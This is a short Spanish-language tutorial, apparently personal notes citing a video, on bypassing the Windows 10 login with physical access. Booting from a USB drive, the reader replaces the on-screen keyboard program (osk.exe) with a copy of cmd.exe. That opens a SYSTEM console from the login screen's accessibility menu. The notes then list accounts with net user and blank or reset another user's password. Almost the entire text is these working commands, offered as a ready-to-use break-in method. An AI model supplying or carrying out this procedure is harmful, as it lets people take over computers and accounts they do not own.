Con un Pendrive de Booteo entrar a la consola
Ir al Directorio
C:\Windows\System32>
Renombrar la aplicación Teclado En Pantalla (On Screeen Keyboard)
ren osk.exe osk2.exe
Hacer una copia de La Consola pero que quede como si fuera El Teclado en Pantalla
copy cmd.exe osk.exe
Reiniciamos el equipo
Vamos a accesibilidad (silla de ruedas), teclado en pantalla y como renombramos esa aplicación se lanza en vez de ella la consola y con todo los privilegios más encima.
C:\Windows\System32>
Aquí veo con qué privilegios estoy
whoami
Si sale esto vamos por buen camino
nt authority\system
Para ver que usuarios tiene el equipo
net user
Si necesitamos más datos de un usuario X
net user USUARIO | findstr Nombre
Para cambiar la contraseña de usuario X
net user USUARIO *
Le podemos poner enter, enter, para que quede sin contraseña
Y ahora podemos entrar sin problema
(dbería poder usarse de inmediaro, pero es mejor reiniciar por si acaso para que tome el cambio de contraseña. A mi se me quedó pegado cuando lo hice sin reiniciar)
Fuente:
https://www.youtube.com/watch?v=8mCN1NPAzl0
Reventar Constraseña de Windows 10 usando un Pendrive de instalación de Linux
También se puede con un Pendrive de Instalación de Linux. Una vez inciado por ejemplo Ubuntu en modo prueba, entramos a la carpeta windows/system32, hacemos una copia de osk.exe y la renombramos por ejemplo como osk2.exe, luego hacemosuna copia de cmd.exe y lo renombramos osk.exe.
Reiniciamos el PC y entramos a Windows y nuevamente a través del ícono de la silla de ruedas buscamos en el menú la opción Teclado en Pantalla.
Como engañamos a Windows nos abre la consola. Podemos hacer los pasos descritos más arriba para revisar los usuarios, pero también podemos ejecutar la administración gráfica con el comando control userpasswords2
Una vez dentro podemos manipular sin problemas los atributos de los usuarios, entre ellos cambiar la contraseña.
